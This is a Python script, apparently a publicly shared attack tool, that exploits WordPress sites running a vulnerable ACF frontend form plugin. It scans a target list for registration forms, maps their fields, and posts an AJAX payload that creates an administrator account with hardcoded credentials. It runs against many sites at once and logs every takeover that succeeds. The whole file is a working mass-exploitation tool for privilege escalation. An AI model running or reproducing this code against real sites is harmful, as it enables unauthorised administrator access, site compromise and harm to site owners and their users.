#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Nxploited import json import re import sys from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from urllib.parse import urljoin, urlparse import requests from bs4 import BeautifulSoup from colorama import Fore, Style, init as colorama_init from rich.console import Console from rich.text import Text from rich.panel import Panel from rich.table import Table from rich.theme import Theme from rich import box requests.packages.urllib3.disable_warnings() colorama_init(autoreset=True) # ========== Rich UI setup ========== theme = Theme( { "banner": "bold cyan", "accent": "bold green", "label": "bold magenta", "value": "white", "meta": "dim white", "warn": "bold yellow", "error": "bold red", "ok": "bold bright_green", "input": "bold bright_cyan", "title": "bold bright_white", } ) console = Console(theme=theme) REGISTER_PATHS = [ "/", "/register/", "/registration/", "/signup/", "/sign-up/", "/sign_up/", "/user-registration/", "/user/register/", "/user/signup/", "/users/register/", "/account/", "/my-account/", "/myaccount/", "/new-account/", "/create-account/", "/create-user/", "/create-user-account/", "/member/register/", "/members/register/", "/profile/register/", "/join/", "/join-us/", "/frontend-form/", "/frontend-form-register/", "/frontend-register/", "/frontend-registration/", "/user-registration-form/", ] SUCCESS_FILE = "acf_success.txt" def debug(msg, verbose=False): if verbose: console.print(f"[meta][DEBUG][/meta] {msg}") def show_banner(): banner_text = Text() banner_text.append( " __ __ _ _ _ ___ ,________ _ \n" " / ()(| |_// () / )/ \\/ )|__ /| __/ __/| |/ )\n" " | | | >- ----/| |/ \\----| \\ \\|__|_/ \n" " \\___/ \\/ \\___/ /__\\_//__\\__/ |\\__/\\__/ |/__\n", style="banner", ) name = Text(" Nxploited ", style="accent") info = Text() info.append("Advanced ACF Frontend Form Exploit\n", style="title") info.append("GitHub: ", style="label") info.append("https://github.com/Nxploited\n", style="value") info.append("Telegram: ", style="label") info.append("https://t.me/KNxploited\n", style="value") grid = Table.grid(expand=True) grid.add_column(ratio=3) grid.add_column(ratio=4) grid.add_row(banner_text, Panel(name, border_style="accent", box=box.ROUNDED, padding=(1, 4))) grid.add_row("", info) console.print(Panel(grid, border_style="accent", box=box.HEAVY)) def show_intro(): usage = Text() usage.append("ACF Frontend Form Element Exploit\n\n", style="title") usage.append("This tool scans targets for vulnerable ACF frontend forms\n", style="meta") usage.append("and attempts to create an administrator user via AJAX.\n\n", style="meta") usage.append("Workflow:\n", style="label") usage.append(" • Load targets from list file\n", style="value") usage.append(" • Discover frontend ACF form on common registration paths\n", style="value") usage.append(" • Map username/email/password/role fields\n", style="value") usage.append(" • Submit payload to /wp-admin/admin-ajax.php\n", style="value") usage.append(" • Log successful admin creations in ", style="value") usage.append(f"{SUCCESS_FILE}\n", style="accent") console.print( Panel( usage, title="Overview", border_style="label", box=box.ROUNDED, ) ) def prompt_inputs(): grid = Table.grid(expand=True) grid.add_column() grid.add_row(Text("Input Parameters", style="title")) console.print(Panel(grid, border_style="label", box=box.ROUNDED)) console.print("[input]Enter targets file path (e.g. list.txt):[/input]") list_path = input("> ").strip() if not list_path: console.print("[error]No list file provided.[/error]") sys.exit(1) console.print("[input]Enter number of workers (threads), e.g. 10:[/input]") try: workers = int(input("> ").strip() or "10") except Exception: workers = 10 console.print("[input]Enter request timeout in seconds (e.g. 10):[/input]") try: timeout = int(input("> ").strip() or "10") except Exception: timeout = 10 console.print("[input]Enable verbose debug? (y/N):[/input]") ans = input("> ").strip().lower() verbose = ans.startswith("y") return list_path, workers, timeout, verbose def normalize_base(url: str) -> str: u = url.strip() if not u.startswith(("http://", "https://")): u = "http://" + u parsed = urlparse(u) base = f"{parsed.scheme}://{parsed.netloc}" return base def load_targets(path: str): try: with open(path, "r", encoding="utf-8", errors="ignore") as f: return [l.strip() for l in f if l.strip()] except Exception as e: console.print(f"[error]Failed to read targets file '{path}': {e}[/error]") sys.exit(1) def is_user_field_name(name: str): m = re.fullmatch(r"acff\[user]\[(field_[A-Za-z0-9]+)]", name) if not m: return None return m.group(1) def choose_best_control_for_field(field_div): candidates = field_div.find_all( lambda tag: tag.name in ["input", "select", "textarea"] and tag.has_attr("name") and is_user_field_name(tag["name"]) is not None ) if not candidates: return None def score(tag): tname = tag.name itype = tag.get("type", "").lower() if tname == "select": return 0 if tname == "input": if itype in ["text", "email", "password", "radio", "checkbox"]: return 1 if itype in ["hidden"]: return 3 if tname == "textarea": return 2 return 4 candidates.sort(key=score) return candidates[0] def find_frontend_form(html: str, verbose=False): soup = BeautifulSoup(html, "html.parser") forms = soup.find_all("form") best_form = None best_score = -1 best_acf_hidden = None for f in forms: classes = f.get("class", []) has_frontend_class = any("frontend-form" in c for c in classes) acf_hidden = {} for inp in f.find_all("input", {"type": "hidden"}): name = inp.get("name", "") if name.startswith("_acf_"): acf_hidden[name] = inp.get("value", "") has_nonce = "_acf_nonce" in acf_hidden has_form = "_acf_form" in acf_hidden has_user_field = f.find( lambda tag: tag.name in ["input", "select", "textarea"] and tag.has_attr("name") and is_user_field_name(tag["name"]) is not None ) is not None score = 0 if has_frontend_class: score += 2 if has_nonce and has_form: score += 3 if has_user_field: score += 2 if score > best_score and has_nonce and has_form and has_user_field: best_score = score best_form = f best_acf_hidden = acf_hidden if not best_form or not best_acf_hidden: debug("No suitable ACF frontend form found in page", verbose) return None, None form = best_form acf_hidden = best_acf_hidden user_fields = {} field_containers = form.find_all("div", class_=lambda c: c and "acf-field" in c) for field_div in field_containers: data_name = field_div.get("data-name", "") data_type = field_div.get("data-type", "") data_key = field_div.get("data-key", "") label_el = field_div.find("label") label_text = label_el.get_text(strip=True) if label_el else "" control = choose_best_control_for_field(field_div) if not control: continue input_name = control.get("name") field_id = is_user_field_name(input_name) if not field_id: continue user_fields[field_id] = { "name": data_name, "type": data_type, "key": data_key, "label": label_text, "input_name": input_name, "wrapper": field_div, } return acf_hidden, user_fields def map_fields(user_fields: dict, verbose=False): username_field_id = None email_field_id = None password_field_id = None role_field_id = None first_field_id = None last_field_id = None for fid, info in user_fields.items(): label = (info["label"] or "").lower() ftype = (info["type"] or "").lower() dname = (info["name"] or "").lower() if not username_field_id: if "username" in label or dname == "fea_username": username_field_id = fid if not email_field_id: if "email" in label or ftype == "user_email": email_field_id = fid if not password_field_id: if "password" in label or ftype == "user_password": password_field_id = fid if not first_field_id: if "first name" in label or dname == "fea_first_name": first_field_id = fid if not last_field_id: if "last name" in label or dname == "fea_last_name": last_field_id = fid if not role_field_id: if ftype == "role" or "role" in label or dname == "fea_role": role_field_id = fid debug( f"Mapped fields: username={username_field_id}, email={email_field_id}, " f"password={password_field_id}, first={first_field_id}, last={last_field_id}, " f"role={role_field_id}", verbose, ) if not (username_field_id and email_field_id and password_field_id and role_field_id): return None return { "username": username_field_id, "email": email_field_id, "password": password_field_id, "first": first_field_id, "last": last_field_id, "role": role_field_id, } def build_payload( form_url: str, acf_hidden: dict, user_fields: dict, mapped: dict, username_value: str, email_value: str, password_value: str, first_name_value: str = "Nx", last_name_value: str = "ploited", verbose=False, ): base_data = {} for k, v in acf_hidden.items(): base_data[k] = v base_data.setdefault("_acf_validation", "1") base_data.setdefault("_acf_changed", "1") base_data.setdefault("_acf_status", "") base_data.setdefault("_acf_message", "") base_data.setdefault("_acf_required_message", "") base_data["acff[_validate_email]"] = "" u_id = mapped["username"] e_id = mapped["email"] p_id = mapped["password"] r_id = mapped["role"] f_id = mapped.get("first") l_id = mapped.get("last") base_data[f"acff[user][{u_id}]"] = username_value base_data[f"acff[user][{e_id}]"] = email_value base_data[f"acff[user][{p_id}]"] = password_value if f_id: base_data[f"acff[user][{f_id}]"] = first_name_value if l_id: base_data[f"acff[user][{l_id}]"] = last_name_value base_data[f"acff[user][{r_id}]"] = "administrator" pwd_wrapper = user_fields[p_id]["wrapper"] custom_pw_input = pwd_wrapper.find("input", {"name": "custom_password"}) if custom_pw_input: base_data["custom_password"] = custom_pw_input.get("value", p_id) else: base_data["custom_password"] = p_id base_data["password-strength"] = "4" base_data["action"] = "frontend_admin/form_submit" debug(f"Base payload keys: {list(base_data.keys())}, role_field={r_id}", verbose) return base_data def check_success(response_text: str, verbose=False): try: j = json.loads(response_text) if isinstance(j, dict) and j.get("success") is True: return True, j except Exception: pass flat = response_text.replace(" ", "").replace("\n", "").lower() if '"success":true' in flat: return True, None return False, None def discover_form_page(base_url: str, timeout: int = 10, verbose: bool = False): session = requests.Session() session.verify = False headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"} for path in REGISTER_PATHS: url = urljoin(base_url, path.lstrip("/")) try: r = session.get(url, headers=headers, timeout=timeout, allow_redirects=True) except Exception as e: debug(f"GET {url} failed: {e}", verbose) continue if r.status_code != 200: debug(f"GET {url} -> {r.status_code}", verbose) continue acf_hidden, user_fields = find_frontend_form(r.text, verbose=verbose) if acf_hidden: debug(f"Found frontend form at {url}", verbose) return url, r.text, acf_hidden, user_fields return None def log_success(base: str, form_url: str, username: str, email: str, password: str, json_data): ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") line = ( f"[{ts}] BASE={base} FORM={form_url} " f"USER={username} EMAIL={email} PASS={password} " f"JSON={json.dumps(json_data, ensure_ascii=False) if json_data is not None else 'null'}" ) try: with open(SUCCESS_FILE, "a", encoding="utf-8") as f: f.write(line + "\n") except Exception as e: console.print(f"[error]Failed to write to {SUCCESS_FILE}: {e}[/error]") def exploit_target( raw_target: str, username: str, email: str, password: str, timeout: int = 10, verbose: bool = False, ): base = normalize_base(raw_target) console.print(f"[label][+][/label] Target base: [value]{base}[/value]") discovered = discover_form_page(base, timeout=timeout, verbose=verbose) if not discovered: console.print(f"[warn][-] No suitable ACF Frontend form found on common registration paths for {base}[/warn]") return form_url, html, acf_hidden, user_fields = discovered console.print(f"[ok][+] Found form at:[/ok] [value]{form_url}[/value]") nonce_val = acf_hidden.get("_acf_nonce", "") form_id = acf_hidden.get("_acf_form", "") console.print(f"[meta]_acf_nonce:[/meta] {nonce_val}") console.print(f"[meta]_acf_form:[/meta] {form_id}") mapped = map_fields(user_fields, verbose=verbose) if not mapped: console.print(f"[warn][-] Could not map username/email/password/role fields for {base}[/warn]") return base_data = build_payload( form_url, acf_hidden, user_fields, mapped, username_value=username, email_value=email, password_value=password, verbose=verbose, ) parsed = urlparse(form_url) ajax_base = f"{parsed.scheme}://{parsed.netloc}" ajax_url = urljoin(ajax_base, "/wp-admin/admin-ajax.php") headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": ajax_base, "Referer": form_url, } form_items = list(base_data.items()) debug(f"Sending payload keys: {', '.join(base_data.keys())}", verbose) try: pr = requests.post( ajax_url, data=form_items, headers=headers, timeout=timeout, verify=False, ) except Exception as e: console.print(f"[error][-] POST to {ajax_url} failed for {base}: {e}[/error]") return ok, j = check_success(pr.text, verbose=verbose) if ok: console.print(f"{Fore.GREEN}[+] SUCCESS{Style.RESET_ALL}: {base}") if j is not None and verbose: try: console.print(json.dumps(j, indent=2)) except Exception: pass log_success(base, form_url, username, email, password, j) else: console.print(f"[fail][-] FAILED:[/fail] {base}") if verbose: console.print(f"[meta]Status:[/meta] {pr.status_code}") console.print(f"[meta]Body:[/meta] {pr.text[:500]}") def worker(target, username, email, password, timeout, verbose): try: exploit_target(target, username, email, password, timeout, verbose) except Exception as e: console.print(f"[error][-] Error on {target}: {e}[/error]") def main(): show_banner() show_intro() list_path, workers, timeout, verbose = prompt_inputs() username = "Nxadmin1" email = "nxploitedtest@gmail.com" password = "NxAdmin_1337#KSA" targets = load_targets(list_path) if not targets: console.print("[error]No targets loaded.[/error]") sys.exit(1) meta = Text() meta.append(f"Loaded targets: ", style="label") meta.append(str(len(targets)) + "\n", style="value") meta.append("Workers: ", style="label") meta.append(str(workers) + "\n", style="value") meta.append("Timeout: ", style="label") meta.append(str(timeout) + "s\n", style="value") meta.append("Verbose: ", style="label") meta.append(str(verbose) + "\n", style="value") meta.append("Credentials: ", style="label") meta.append(f"{username}:{password} / {email}\n", style="accent") meta.append("Success log: ", style="label") meta.append(f"{SUCCESS_FILE}", style="accent") console.print(Panel(meta, title="Session", border_style="accent", box=box.ROUNDED)) with ThreadPoolExecutor(max_workers=workers) as executor: future_to_target = { executor.submit( worker, t, username, email, password, timeout, verbose, ): t for t in targets } try: for future in as_completed(future_to_target): _ = future_to_target[future] except KeyboardInterrupt: console.print("\n[warn][!] Interrupted by user[/warn]") executor.shutdown(wait=False, cancel_futures=True) sys.exit(1) if __name__ == "__main__": main()